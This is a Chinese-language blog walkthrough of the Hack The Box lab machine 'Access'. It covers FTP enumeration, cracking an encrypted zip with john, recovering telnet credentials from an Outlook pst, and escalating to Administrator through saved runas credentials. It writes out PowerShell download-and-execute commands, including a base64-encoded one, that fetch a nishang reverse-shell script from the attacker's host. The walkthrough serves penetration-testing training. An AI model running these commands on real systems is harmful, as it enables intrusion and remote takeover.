1. 程式人生 > >【HTB系列】靶機Access的滲透測試詳解

【HTB系列】靶機Access的滲透測試詳解

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。 **https://www.hackthebox.eu/** ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082207071-1388304007.png) 平臺上有很多靶機,從易到難,黑客每入侵一臺機器都會獲得相應積分,通過積分排名設有名人堂。今天要實驗的是靶機Access。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082221148-265225076.png) ###一.獲取普通使用者許可權 首先我們用nmap探測下靶機的資訊。 nmap -sC -sV -T5 10.10.10.98 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082416839-343980402.png) 可以看到靶機開放了21,23,80埠。telnet後面有一個?說明nmap也不確定是否為telnet。這裡我用msf來探測下FTP是否允許 匿名登陸,使用msf的/auxiliary/scanner/ftp/anonymous模組。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082428893-631066229.png) FTP是執行匿名登陸的,那我們進行遠端登陸FTP看看有什麼東西。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082500595-1732931341.png) 這裡我用wget遞迴下載FTP檔案。 wget -m ftp://anonymous:[email protected] ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082522468-1345403966.png) 發現報錯 無法啟動PASV傳輸,那我們加個 --no-passive 使用FTP的被動模式。 wget -m --no-passive ftp://anonymous:[email protected] ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082535726-571405451.png) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082610118-1732878555.png) 下載成功!同樣我們試下Telnet是否能匿名登陸。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082624920-2129288470.png) 不存在匿名登陸,但是我也確定了23這個埠的是telnet,接下來在訪問下80埠。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082639616-1769647256.png) 我們download下這個圖片看看這個圖片是否存在隱藏的資訊。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082653808-1932657260.png) 先用exiftool檢視是否存在圖片的其他資訊。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082904088-1739581000.png) 好像並沒有什麼額外的資訊,再用strings查詢下圖片的二進位制裡面是否有字串 strings out.jpg ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082927230-512077280.png) 也沒有發現什麼額外的資訊,那我們接下來用gobuster進行目錄的爆破。 gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082947166-565505050.png) 經過了挺久的時間,沒爆破出什麼有用的資訊。我們去看下剛剛從FTP下載來的檔案,先解壓Engineer目錄下的Access Control.Zip檔案。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221082956317-974746676.png) 發生了一個錯誤,還7z來進行解壓。 7z x Access\ Control.zip ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083138388-1662965633.png) 發現ZIP是需要密碼的,隨便輸入個密碼報錯,我們用7z 的l命令下的slt命令。 7z l -slt Access\ Control.zip 引數說明: l:用於顯示壓縮檔案的資訊 Slt:屬於l下的子命令用來顯示壓縮檔案的技術資訊 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083201255-384149173.png) 壓縮檔案使用AES-256 Deflate進行加密的,我們把密碼的HASH提取出來到時候破解用。 zip2john Access\ Control.zip > Access\ Control.hash ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083212944-2075352031.png) 我們在看下另一個檔案。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083234166-1455345474.png) 是一個access的資料庫檔案,裡面應該會出現用於解壓壓縮檔案的密碼。你可以用工具開啟檢視裡面的資料一個一個找找到需要的密碼。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083251672-2089081793.png) 還有一個更快捷的方法,因為密碼最低就是8位的,我們用過strings方法把mdb用二進位制檔案的形式開啟,然後只輸出內容大於等於8的內容,在把這些內容輸出成一個wordlist用來破解壓縮檔案。 strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist strings輸出的內容通過sort的-u引數去重,然後在輸出到檔案裡面。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083324318-822101653.png) 然後我們利用john開始破解 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083339724-204110580.png) 破解成功,這裡可能不好找到密碼可以用這條命令顯示破解出的密碼。 john Access\ Control.hash --show ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083414762-1148622869.png) 密碼: access4u@security 那接下來我們去解壓壓縮檔案。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083431797-1311086814.png) 解壓成功!!! ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083446126-365489163.png) 我們用file看下這個.pst是什麼檔案 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083458624-485614694.png) 是一個outlook的個人資料夾。我們用readpst來讀取下,然後目錄下面會多出一個Access Control.mbox檔案。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083509444-988793422.png) 我們用 less Access Control.mbox ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083522280-1586840582.png) 可以看到security的密碼:4Cc3ssC0ntr0ller。我們用獲得憑證去登陸telnet。 Security:4Cc3ssC0ntr0ller ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083540605-740731284.png) 登陸成功!然後CD到桌面檢視user.txt即可得到user的flag。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083550891-321383067.png) ###二.獲取管理員許可權 接下來就是怎麼得到管理員許可權,測試下powershell是否能正常工作。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083612047-1966622379.png) powershell正常的,那我們本地搭建一個簡易的HTTP伺服器放上我們的powershell反彈shell指令碼,讓靶機進行遠端下載執行反彈一個shell。 這裡用nishang 這是一個基於Powershell的攻擊框架,專案地址: https://github.com/samratashok/nishang。 我們新建一個 www目錄 然後把nishang裡面需要用的指令碼copy進去。 cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083632525-1953782704.png) 然後vi下編輯這個nishang.ps1,在最底下加上這行命令 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083646163-697693807.png) Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 監聽埠 然後我們用nc 監聽9001 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083729859-1759113567.png) 接著用python開啟HTTP伺服器 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083744689-1969513050.png) 然後在目標靶機telnet上執行這段程式碼,就是遠端執行powershell指令碼。 powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')" ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083801627-387411582.png) 之後就會反彈一個shell ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083825834-1852463015.png) 接下來我們在上傳一個指令碼用來檢測Windows系統以提升許可權。JAWS:https://github.com/411Hall/JAWS ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083839558-360039028.png) 我們在剛剛反彈的shell中去執行這個指令碼,來檢測目標系統的資訊。 IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1') ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083853797-516139396.png) 執行完成後會返回一系列資訊,然後在這裡查詢有關資訊,這裡我只擷取憑證部分。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083910754-1754596460.png) 上面是電腦中儲存的憑證。當然你也可以用cmdkey /list 也會出現相關資訊。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221083922948-1950331412.png) 在查詢的過程中我在公共使用者的目錄裡面找到一個快捷連線。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084008837-1297990507.png) 百度下具體資訊。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084023373-1127885354.png) 用type檢視下內容,發現一些關鍵資訊 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084034652-663977237.png) Runas並且帶有/savecred ,Runas的介紹:https://blog.csdn.net/nzjdsds/article/details/88312910。 這個就可以成為我們的利用點,但是用type獲得資訊雜亂無章,我們需用另一種方法來獲得更為詳細的整潔的輸出。這裡我們用script指令碼的建立快捷方式實現。 1. $WScript = New-Object -ComObject Wscript.Shell 2. $shortcut = Get-ChildItem *.lnk 3. $Wscript.CreateShortcut($shortcut) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084105830-1005311992.png) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084110099-1114782283.png) 這裡WScript用來繫結Wscript.Shell的,然後Get-ChildItem *.lnk 就是跟dir差不多找出字尾為.lnk檔案(效果圖如下)。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084125457-224701266.png) 然後我們呼叫Wscript的CreateShortcut函式建立快捷方式來檢視裡面的lnk裡面的詳細資訊。 這裡我要說一下就是這裡建立的快捷方式是存在記憶體裡面的,在呼叫這個函式的SAVE函式之前,這個快捷方式是存在記憶體裡面的,我們只是需要這個ZKAccess3.5Security System.lnk裡面的詳細工整的資訊只是通過這個方式檢視而已。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084136823-1158167432.png) 在這裡面我們可以很清楚的看到runas 並且帶有savecred 引數。所以這邊我們runas的話可以不需要使用者的憑證。 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084147104-1485048494.png) 但是runas之後沒有任何報錯,但是命令也沒有執行成功,應該是編碼的問題。接下來我們主要就是在這個shell中在runas反彈一個管理員許可權的shell。 我們先在自己的Kali中監聽9002,然後把我們之前用於反彈的nishang.ps1重新複製一份為nishang2.ps1並編輯下把nishang2.ps1把監聽的埠改為9002 【這裡由於靶機不是一天之內完成並寫好文章的,所以自己的IP地址後來變成10.10.12.114】 runas /user:ACCESS\Administrator /savecred "powershell \"IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')\"" ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084220288-183151062.png) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084228872-1189549045.png) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084233341-331937478.png) 這裡我換了一種格式寫,發現我的python HTTP伺服器出現了響應,但是9002並沒有返回shell。 在這裡猜測可能是編碼的問題,windows和linux採用的編碼不一樣,所以我們的命令需要轉換成windows能夠識別的編碼,這裡我們用iconv和base64。這裡轉碼要用UTF-16LE。 ``` echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 ``` 輸出內容: SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA= 然後我們執行下: ``` runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=" ``` ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084349414-1183896772.png) 然後發現9002埠得到shell說明執行成功 ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084417598-843836557.png) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084421015-782454844.png) ![](https://img2020.cnblogs.com/blog/2289839/202102/2289839-20210221084425567-1769143918.png) 到root的flag。 **轉載請聯絡作者並註明出處!** Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。 團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。 官方網站:https://www.ms08067.com/ 掃描下方二維碼加入實驗室VIP社群 加入後邀請加入內部VIP群,內部微信群永久有效!

相關推薦

HTB系列靶機Access滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

HTB系列靶機Chaos的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` **知識點:** 1. 通過域名或者IP可能會得到網站的不同響應 2. Wpscan的掃描wordpress 3. 修改hosts來對網頁郵件系統webmail進行訪問 4. LaT

HTB系列 靶機Swagshop的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` **總結與反思** * 使用vi提權 * magento漏洞的利用 * magescan 工具的使用 **靶機介紹** ![](https://img2020.cnblogs.

HTB系列靶機Bitlab的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:是大方子(Ms08067實驗室核心成員)` ##0x00 本文目錄 * 反思與總結 * 基本資訊 * 滲透測試過程 * 補充 ##0x01 反思與總結 1. curl 傳送GET引數化請求 2. 對反彈回來的shell進行

專欄 - Python Selenium自動化測試

Python Selenium自動化測試詳解 使用Python語言操作Selenium(webdriver)進行UI自動化測試的一些技能、API詳解、問題解決辦法以及程式碼示例、以及自動化測試框架的搭建

Mint-UIAction sheet 用法及(內含取消事件的觸發方法)

鑑於mint-ui官方文件的極簡描述和對功能介紹的點到為止,許多功能的完全實現是需要通過閱讀原始碼才可以知道其真正的用法。 今天給大家介紹一下Action sheet的用法,以及我踩過的坑,感覺比較有意義,希望能幫到各位。 效果圖: 首先我先帶大家看一下官方的介紹: act

人人都是Pythoner超全python的collections模組

前言: python中內建容器包括list、dict、set、tuple,而python中的collections模組則另引入了五種資料結構,更好地滿足編碼需求。 下文驗證資料型別方法用到的程式碼放在了我的github上,歡迎下載: AdvancingMsCat的github co

Gans入門Pytorch實現Gans程式碼70+程式碼

簡述 由於科技論文老師要求閱讀Gans論文並在網上找到類似的程式碼來學習。 程式碼來源 程式碼含義概覽 這個大致講講這個程式碼實現了什麼。 這個模型的輸入為:一些資料夾雜在x2x^2x2和2x2+12x^2+12x2+1這個兩個函式之間的一些資料。這個用線性

Java Web: JSON 資料格式

  JSON (JavaScript Object Notation) JavaScript物件圖,它是由Douglas Crockford(道格拉斯·克洛克福特)發明的。   JSON與XML一樣

Linux驅動Linux裝置樹語法

1 概念Linux核心從3.x開始引入裝置樹的概念,用於實現驅動程式碼與裝置資訊相分離。在裝置樹出現以前,所有關於裝置的具體資訊都要寫在驅動裡,一旦外圍裝置變化,驅動程式碼就要重寫。引入了裝置樹之後,驅動程式碼只負責處理驅動的邏輯,而關於裝置的具體資訊存放到裝置樹檔案中,這樣,如果只是硬體介面資訊的變化而沒有

SSH 基礎SSH框架--struts深入(二)

繼上篇部落格 既然我們知道了不使用struts給我們帶來這麼多弊端,那麼下面我們來看看struts是如何封裝的,怎麼解決我們出現的問題的? 先來說一下struts的基本流程,幫助大家理解下面的程式碼: Struts基本簡要流程如下:      1、客戶端瀏覽器發出HT

Java Web: GSON 資料格式

    在上一講中我們講到了 JSON資料格式的內容,這一講我們來講一下Google對JSON這種格式的支援。     我們看到Java中的JSON庫除了org.json之外還有一個 google-g

Redis學習:set資料型別

set資料結構 常用命令 新增/刪除元素 sadd key values[value1 value2 ...] 向set中新增資料,如果該key的值已有不會重複新增。 srem

Redis學習:list資料型別

list資料結構 在redis中,list資料結構是按照插入順序的字串連結串列,和資料結構中的普通連結串列一樣,我們可以在其頭部(left)和尾部(right)新增新的元素。在插入時,如果該鍵並不

網路安全加解密演算法最

資料簽名、加密是前後端開發經常需要使用到的技術,應用場景包括不限於使用者登入、資料交易、資訊通訊等,不同的應用場景也會需要使用到不同的簽名加密演算法,或者需要搭配不一樣的 簽名加密演算法來達到業務目標。常用的加密演算法有: 對稱加密演算法; 非對稱加密演算法; 雜湊演算法,加鹽雜湊演算法(單向加密); 數

Flutter 實戰pubspec.yaml 配置檔案

![](https://img2020.cnblogs.com/other/467322/202011/467322-20201104214438153-1813741256.png) > **老孟導讀**:**pubspec.yaml** 檔案是 Flutter 中非常重要的配置檔案,下面就讓我們看

HTB靶場系列靶機Carrier的滲透測試

__出品|MS08067實驗室(www.ms08067.com)__ `本文作者:大方子(Ms08067實驗室核心成員)` Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格

安全牛學習筆記Kali Linux滲透測試方法

信息安全 kali linux security+ 1.安全問題的根源①由於分層思想,導致每個層次的相關人員都只關心自己層次的工作,因此每個人認識系統都是片面的,而安全是全方位的,整體的,所以造成安全問題。②技術人員追求效率,導致只追求功能實現,而很容易忽略安全性的工作③由於人都是會犯錯誤的,因此

安全牛學習筆記​Kali Linux滲透測試介紹

Kali Linux滲透測試介紹 安全問題的根源         優點:分工明確,工作效率高。(把大問題簡化成易於解決的小問題)         缺點:從業人員對系統沒有整體的認識,對安全認識較為片面。(搞技術的為了提高工作效率,只追求功能實現, 很少能在實現功能後